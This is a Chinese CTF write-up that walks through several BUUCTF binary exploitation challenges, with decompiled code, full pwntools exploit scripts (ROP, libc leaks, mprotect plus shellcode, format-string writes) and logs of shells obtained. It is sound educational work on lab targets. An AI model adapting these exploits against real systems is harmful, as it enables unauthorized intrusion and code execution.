前言：
"二进制太难了", 一起到 buu 开始 刷题吧。这里 仅记录 下 非高分题目的 解题思路和 知识讲解。特别是文章里的函数，我特意整理了下，还请好好学习下。
test_your_nc 18.04
64位的elf 程序，一运行就拿到shell了。
nc 连接下远程，即可拿到 flag。
rip
在pwn 中，控制了rip 就控制了世界。64位程序 拖入ida：
如果我们将 main函数的retrun 地址处 给覆盖成 0x401186，那么在程序执行到 return的时候，rip 就会被赋值给 0x401186，于是就紧接着执行 后门函数 fun()从而拿到shell。这里就简单 看下 gets函数吧。
所以 这题我们可以输入任意字节数据， s的偏移 为 rbp-Fh 于是我们构造payload "a"*0xf+p64(0xdeadbeef)+p64(0x401187) #0x401186的有点问题，于是加1。
我们写下 以下 exp拿得 flag：
warmup_csaw_2016
和上题几乎一样，64位elf程序 且 有栈溢出 漏洞，有后门函数。
v5的偏移 为 rbp-40h， 和上题的思路一样，我们写出下面 exp:
拿到 flag:
pwn1_sctf_2016
32位的c++写的程序 这里我们首先简单看下 C++中的两个 函数：
fgets
函数原型：char * fgets ( char * str, int num, FILE * stream );
函数功能：
从流中读取字符，并将它们作为C字符串存储到str中，直到已读取（num-1）个字符或到达换行符或到达文件末尾（以先发生的为准）。
换行符使fgets停止读取，但是该函数将其视为有效字符并包含在复制到str的字符串中。
复制到str的字符后会自动附加一个终止的空字符。
请注意，fgets与gets完全不同：fgets不仅接受流参数，而且还允许指定str的最大大小，并在字符串中包括任何结尾的换行符。
std:replace
https://blog.csdn.net/jiary5201314/article/details/52502516
函数原型：
template <class ForwardIterator, class T>
void replace (ForwardIterator first, ForwardIterator last,
const T& old_value, const T& new_value);
函数功能：
替换范围内的值
将new_value分配给[first，last)范围内所有等于old_value的元素。
该函数使用"operator ==" 将各个元素与old_value进行比较。
该功能模板的行为等效于：
template <class ForwardIterator, class T>
void replace (ForwardIterator first, ForwardIterator last,
const T& old_value, const T& new_value)
{
while (first!=last) {
if (*first == old_value) *first=new_value;
++first;
}
}
参数再介绍：
first, last：将迭代器转发到元素序列中的初始位置和最终位置，这些元素支持比较并分配为T类型的值。
使用的范围是[first，last），其中包含first和last之间的所有元素，包括由指向的元素 首先但不是最后指出的元素。
old_value：要替换的值。
new_value：新的值
可以暂时粗略地地这样记下：replace (first,last,old_value,new_value);
std::string::operator=(&input, &s);
作用：就是 将s指针赋值到 inputs地址里了。//我真是太懒了。
strcpy:
函数原型：char * strcpy ( char * destination, const char * source );
函数功能：
将source指向的C字符串复制到destination指向的数组中，包括终止的空字符（并在该位置停止）。
为避免溢出，目标指向的数组的大小应足够长，以包含与源相同的C字符串（包括终止空字符），并且在内存中不应与源
ida：
int vuln()
{
const char *v0; // eax
char s; // [esp+1Ch] [ebp-3Ch]
char v3; // [esp+3Ch] [ebp-1Ch]
char v4; // [esp+40h] [ebp-18h]
char v5; // [esp+47h] [ebp-11h]
char v6; // [esp+48h] [ebp-10h]
char v7; // [esp+4Fh] [ebp-9h]
printf("Tell me something about yourself: ");
fgets(&s, 32, edata);
std::string::operator=((int)&input, (int)&s); // 将s_addr复制到input_addr中
// 即 执行后 input_addr地址里存的内容是 s_addr 地址
std::allocator<char>::allocator(&v5); // 给v5申请内存
std::string::string(&v4, "you", &v5); // v4被赋值 成了" you" v5不变
std::allocator<char>::allocator(&v7); // 给v5申请内存
std::string::string(&v6, "I", &v7); // v6被赋值 成了" I" v7不变
replace((std::string *)&v3);
std::string::operator=(&input, &v3, &v6, &v4);// 这里 ida 反编译的有些毛病
// 正常的话 19和20行应该是下面的样子：
// replace (v3，&inputs,"I","you");
//
// replace后存在 inputs里
std::string::~string((std::string *)&v3);
std::string::~string((std::string *)&v6);
std::allocator<char>::~allocator(&v7);
std::string::~string((std::string *)&v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);// 获取C字符串等效返回一个数组的指针，该数组包含一个以null结尾的字符序列
// (即表示字符串对象的当前值。该数组包含组成字符串对象的值的相同字符序列，并在末尾附加一个终止空字符('\0')。
strcpy(&s, v0); //栈溢出漏洞
return printf("So, %s\n", &s);
}
int get_flag() //0x08048F0D
{
return system("cat flag.txt");
}
觉得这题是C++程序，因本垃圾对C++的 接触程度 简直是个无基础，去查了下 相关的函数，所以这题整体来说 还是一个 很简单的题。
栈溢出 漏洞，且存在 后门函数 即get_flag。程序的流程 其实 是 我们输入字符串有字节限制：32，并且将字符串中的 "I"变成"you",然后变之后的 字符串再存在&s处，偏移是 ebp-3Ch。
具体大家看 上面分析和注释就好了。0x3c加上ebp的四字节，retaddr的4字节，需要0x3c+4+4等于68字节
我们输入 21个"I"的话就相当于 已经输入 63字节，然后补上一个字节，再补上后门地址，我们刚刚好输入的字节少于 32。满足要求。
写出的exp如下：
拿到 flag.txt
$ python pwn1_sctf_2016.py
[+] Starting local process './pwn1_sctf_2016': pid 2148
[+] Opening connection to node3.buuoj.cn on port 28977: Done
[DEBUG] Sent 0x1b bytes:
00000000 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 │IIII│IIII│IIII│IIII│
00000010 49 49 49 49 49 61 0d 8f 04 08 0a │IIII│Ia··│···│
0000001b
[*] Switching to interactive mode
[DEBUG] Received 0x2b bytes:
'flag{41400e92-b944-453c-aef3-7a266312708a}\n'
ciscn_2019_n_1
64位elf 程序：
gets函数 可导致栈溢出，如果要pwn到这个程序 我们仅需将 v2 处 覆盖为 11.28125，即可拿到 flag 程序中已经有了 11.28125 在 内存中存储的 是 41348000h，大家有兴趣可以去搜索下，是如何转换的。于是我们写以下 exp：
可以拿到 flag
其实 还可以 将func的返回地址 给后门函数 也很简单。就不写了。
ciscn_2019_c_1
64位elf程序，我们直接看ida 好了。ida:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h]
init();
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin(); // puts("====================================================================");
// puts("1.Encrypt");
// puts("2.Decrypt");
// puts("3.Exit");
// return puts("Input your choice!");
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4); // 十进制输入
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}
int encrypt()
{
size_t v0; // rbx
char input[48]; // [rsp+0h] [rbp-50h]
__int16 v3; // [rsp+30h] [rbp-20h]
memset(input, 0, sizeof(input));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(input); // 栈溢出漏洞
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(input) )
break;
if ( input[x] <= 96 || input[x] > 'z' ) // 不属于[a-z] input[x]^13
{
if ( input[x] <= 64 || input[x] > 'Z' ) // 不属于[A-Z] input[x]^14
{
if ( input[x] > 47 && input[x] <= '9' ) // [0-9] input[x]^15
input[x] ^= 15u;
}
else
{
input[x] ^= 14u;
}
}
else
{
input[x] ^= 13u;
}
++x;
}
puts("Ciphertext");
return puts(input);
}
很简单的 栈溢出题。这题没有给libc，而buu上的环境是 18.04.我这里使用 LibcSearcher 找出的libc，真的很好用。然后这题的encrypt函数中 会把我们的输入做异或处理，（见上面注释）我以为 的输入内容会 很大程度上 改变我们输入的 变化甚至输入的长度，特别是觉得会导致 最后 覆盖 ret_addr上 数据 因异或处理而 没有了作用。但又看了下源码，并不会。因为 这题最多 只对 48字节做了异或处理。就不再担心了。
如果 对我们的输入的所有数据都做异或的 话，也是有办法 解决的。因为根据异或的特性，二次异或后 就还是 原 数据了。即输入前可让我们的payload先经一次异或处理再传入。大家可以看下这个文章：
下面是我写的 exp：
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p=process("./ciscn_2019_c_1")
p=remote("node3.buuoj.cn",25495)
elf=ELF("./ciscn_2019_c_1")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr=0x400790
pop_rdi_ret=0x400c83
payload="a"*0x50+"a"*0x8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
p.sendlineafter("Input your choice!\n","1")
p.sendlineafter("Input your Plaintext to be encrypted\n",payload)
p.recvuntil('@')
p.recvline()
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
print "puts_addr is "+hex(puts_addr)
libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
system_addr=libc_base+libc.dump("system")
str_bin_sh=libc_base+libc.dump("str_bin_sh")
print "libc_base is "+hex(libc_base)
print "system_addr is "+hex(system_addr)
print "str_bin_sh is "+hex(str_bin_sh)
ret_addr=0x4006b9
payload="a"*0x50+"a"*0x8+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
payload="a"*0x50+"a"*0x8+p64(ret_addr)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
p.sendlineafter("Input your choice!\n","1")
p.sendlineafter("Input your Plaintext to be encrypted\n",payload)
p.interactive()
另外 在一些64位的glibc的payload调用system函数失败问题 – Ex个人博客
http://blog.eonew.cn/archives/958
"自己跟进去的话，能够看到确实是栈没对齐，那很简单，多加个ret对齐，再找个ret的gadget就可以." 这里我就没有跟了，直接 加了ret 。顺利拿到flag。
[OGeek2019]babyrop
在看这题之前 我们来简单看下几个C函数：
strlen()
函数原型：size_t strlen ( const char * str );
函数功能：
返回C字符串str的长度。
C字符串的长度由终止的空字符确定：C字符串的长度与字符串开头和终止的空字符之间的字符数一样长（不包括终止的空字符本身）。
strncmp()
函数原型：int strncmp ( const char * str1, const char * str2, size_t num );
函数功能：
比较两个字符串的字符，比较C字符串str1的num字符和C字符串str2的num字符。
这个函数开始比较每个字符串的第一个字符。如果它们彼此相等，则继续执行以下操作，
直到字符不同为止，直到到达一个终止的空字符，或者直到两个字符串中的num字符匹配为止(以先发生的情况为准)
然后 分析下程序流程，看ida：
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h]
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
*******************************************************************
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[7]; // [esp+2Ch] [ebp-2Ch]
unsigned __int8 v5; // [esp+33h] [ebp-25h]
ssize_t v6; // [esp+4Ch] [ebp-Ch]
memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u);
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return v5;
}
**************************************************************
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp+11h] [ebp-E7h]
if ( a1 == 127 )
result = read(0, &buf, 0xC8u);
else
result = read(0, &buf, a1);
return result;
}
即首先 我们取出 一个随机数 作为参数 a1传入 sub_804871F函数处理。
sub_804871F函数是将我们的输入 buf 给 那个随机数 a1做比较，比较的字节数是buf的的strlen 长度。但经过上面我们的介绍，strlen 遇到 \x00便停止函数执行。从而去绕过 strncmp 函数。
而 sub_804871F函数 中的v5是最后的返回值，而这个v5 我们可以通过v6 = read(0, buf, 0x20u); 这里去 覆盖 v5的值。我们把它覆盖很大 就好了。
在最后的 sub_80487D0 函数中，我们可通过 上面覆盖的 v5 作为read的第三个参数，从而有栈溢出漏洞。通过write 去泄露libc 然后得到system 和 /bin/sh 从而去getshell。
于是我写出以下 exp：
from pwn import *from LibcSearcher import *#context.log_level = 'debug'#p=process("./babyrop")p=remote("node3.buuoj.cn",29981)
elf=ELF("./babyrop")
#gdb.attach(p)payload="\x00\x00\x00\x00"+"a"*(0x2c-0x25-0x4)+"\xff"p.sendline(payload)p.recvuntil("Correct\n")
write_plt=elf.plt['write']write_got=elf.got['write']main_addr=0x08048825
payload="a"*0xE7+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_addr=u32(p.recv(4))print "write_addr is "+hex(write_addr)
libc=LibcSearcher("write",write_addr)libc_base=write_addr-libc.dump("write")system_addr=libc_base+libc.dump("system")str_bin_sh=libc_base+libc.dump("str_bin_sh")
print "libc_base is "+hex(libc_base)print "system_addr is "+hex(system_addr)print "str_bin_sh is "+hex(str_bin_sh)
payload="\x00\x00\x00\x00"+"a"*(0x2c-0x25-0x4)+"\xff"p.sendline(payload)p.recvuntil("Correct\n")payload="a"*0xE7+p32(0xdeadbeef)+p32(system_addr)+p32(main_addr)+p32(str_bin_sh)
p.sendline(payload)p.interactive()
拿到flag：
$ python babyrop.py
[+] Opening connection to node3.buuoj.cn on port 29981: Done
[*] '/home/yangmutou/\xe6\xa1\x8c\xe9\x9d\xa2/buuctf/100/[OGeek2019]babyrop/babyrop'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
write_addr is 0xf7e853c0
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
libc_base is 0xf7db1000
system_addr is 0xf7deb940
str_bin_sh is 0xf7f0a02b
[*] Switching to interactive mode
$ cat flag
flag{543be984-c4bd-48ac-94a4-f5fadc41bd05}
ciscn_2019_en_2
额，这题简单看一下和上面那题 ciscn_2019_c_1 好像一样，跑了下上面的 exp 也能跑通，就不记录了。
get_started_3dsctf_2016
这题仍然程序很小，开启了NX保护的32位的elf程序：查询保护：
其实还是 挺麻烦的，如果 要拿到远程的 flag的话。ida：
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]
printf("Qual a palavrinha magica? ", v4);
gets(&v4); //gets 栈溢出漏洞。
return 0;
}
void __cdecl get_flag(int a1, int a2) //0x080489A0
{
int v2; // eax
int v3; // esi
unsigned __int8 v4; // al
int v5; // ecx
unsigned __int8 v6; // al
if ( a1 == 0x308CD64F && a2 == 0x195719D1 )
{
v2 = fopen("flag.txt", "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 255 )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
}
}
gets 使得我们可以输入任意字节数据。我们把ret_addr处 给覆盖为 后门函数 get_flag(a1,a2)的地址0x080489A0 ，但 这个后门函数的两个参数 必须分别是 0x308CD64F 和 0x195719D1才可拿到 flag。
exp如下:
from pwn import *
from LibcSearcher import *
#context.log_level="debug"
p=process("./get_started_3dsctf_2016")
#p=remote("node3.buuoj.cn","26350")
#gdb.attach(p)
payload="a"*0x38+p32(0x080489A0)+p32(0xdeadbeef)+p32(0x308CD64F)+p32(0x195719D1)
p.sendline(payload)
p.interactive()
本地可以成功拿到flag.txt
$ python get_started_3dsctf_2016.py
[+] Starting local process './get_started_3dsctf_2016': pid 7833
[*] Switching to interactive mode
Qual a palavrinha magica? flag{shimutouna}
[*] Got EOF while reading in interactive
但远程却不可以，报如下错
我们 去想下 第二种 做法：在这之前我们 去 了解下 mprotect函数：
我们通过 vmmap命令可查看到：0x80ea000 -0x80ec000的内存是 可读可写，我们通过 mprotect函数 让它也可执行。
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x80ea000 r-xp a2000 0 /home/yangmutou/桌面/buuctf/100/get_started_3dsctf_2016
0x80ea000 0x80ec000 rw-p 2000 a1000 /home/yangmutou/桌面/buuctf/100/get_started_3dsctf_2016
0x80ec000 0x810f000 rw-p 23000 0 [heap]
0xf7ff9000 0xf7ffc000 r--p 3000 0 [vvar]
0xf7ffc000 0xf7ffe000 r-xp 2000 0 [vdso]
0xfffdd000 0xffffe000 rw-p 21000 0 [stack]
pwndbg>
因为开启了NX，我们 不可以再栈中去传入 shellcode去执行了，但我们在ida 的函数栏可以看到 函数栏中 有 mprotect。于是 我们可以通过 修改 某段内存为 可读可写可执行的 权限，我们 通过rop的方式向 那个内存写入shell ，最后在控制程序执行到那里 便可以 去执行 shellcode了 我们重新编写 exp：
from pwn import *
from LibcSearcher import *
#context.log_level="debug"
#p=process("./get_started_3dsctf_2016")
elf=ELF("./get_started_3dsctf_2016")
p=remote("node3.buuoj.cn","26350")
#gdb.attach(p)
ret_addr=0x08048196
mprotect_addr=elf.sym["mprotect"]
read_plt=elf.sym["read"]
pop_3_ret=0x08063adb
m_start= 0x80ea000 #vmmap
len=0x2000
prot=4+2+1 #(rwx)
#ropper --file get_started_3dsctf_2016 --search "pop|ret"
'''
0x08063adb: pop edi; pop esi; pop ebx; ret;
'''
payload_1="a"*0x38+p32(mprotect_addr)+p32(pop_3_ret)+p32(m_start)+p32(len)+p32(prot) #mprotect(m_start,len,7);
payload_1+=p32(read_plt)+p32(pop_3_ret)+p32(0)+p32(m_start)+p32(0x100)#read(0,m_start,100)
payload_1+=p32(m_start)
p.sendline(payload_1)
payload_2=asm(shellcraft.sh(),arch = 'i386', os = 'linux')# shellcode len is 40
p.sendline(payload_2)
p.interactive()
成功拿下远程 flag：
ciscn_2019_n_8
32位elf程序保护全开。看下程序流程：
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf((int)"%s", (int)var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
这题发现我们的输入数据存在了 int var[15]的数组里，而当 var[13] ==17时就可以拿到shell了。放了截图就好了。
[第五空间2019 决赛]PWN5
此题为32位elf程序：拖入ida：
int __cdecl main(int a1)
{
unsigned int v1; // eax
int fd; // ST14_4
int result; // eax
int v4; // ecx
unsigned int v5; // et1
char nptr; // [esp+4h] [ebp-80h]
char buf; // [esp+14h] [ebp-70h]
unsigned int v8; // [esp+78h] [ebp-Ch]
int *v9; // [esp+7Ch] [ebp-8h]
v9 = &a1;
v8 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &unk_804C044, 4u);
printf("your name:");
read(0, &buf, 0x63u);
printf("Hello,");
printf(&buf); // 格式化字符串漏洞
printf("your passwd:");
read(0, &nptr, 15u);
if ( atoi(&nptr) == unk_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
v5 = __readgsdword(0x14u);
v4 = v5 ^ v8;
if ( v5 != v8 )
sub_80493D0(v4);
return result;
}
我们可以看到 程序的流程为 将一个随机数存入 0x804C044地址上。然后只要我们输入一个数 与0x804c044上的数据一致就可拿到flag。而在第 25行的 printf(&buf); 经典的 格式化字符串漏洞。可任意地址读写，我们通过%offsset$n 的的方式 任意写 使得 0x804C044地址上的数据 为 可控值。经 动态可得 我们的输入 的偏移为 10，我们可构造以下payload
payload=p32(mubiao_addr)+p32(mubiao_addr+1)+p32(mubiao_addr+2)+p32(mubiao_addr+3)
payload+="%10$hhn%11$hhn%12$hhn%13$hhn"
简单说明下，偏移为10的地址上存着 mubiao_addr，偏移为11的地址上存着 mubiao_addr+1，偏移为12的地址上存着 mubiao_addr+2，偏移为13的地址上存着 mubiao_addr+3，%10hhn会将前面已经输出的字节(数0x10)写入到偏移为10的地址上mubiaoaddr种去，hhn，%12，hhn，hhn ，效果类似。 具体 格式化字符串漏洞学习 可在 ctfwiki上学习。于是我们写出 以下 exp：
from pwn import *
#p=process("./pwn5")
p=remote("node3.buuoj.cn",27842)
#gdb.attach(p)
#p.recvuntil("your name:")
offset=10
mubiao_addr=0x804C044 # elf:32
payload=p32(mubiao_addr)+p32(mubiao_addr+1)+p32(mubiao_addr+2)+p32(mubiao_addr+3)
payload+="%10$hhn%11$hhn%12$hhn%13$hhn"
p.sendline(payload)
raw_input
p.sendline(str(269488144))#0x10101010->269488144
p.interactive()
成功getshell。
后记：
师傅们，今天你pwn 了!!!
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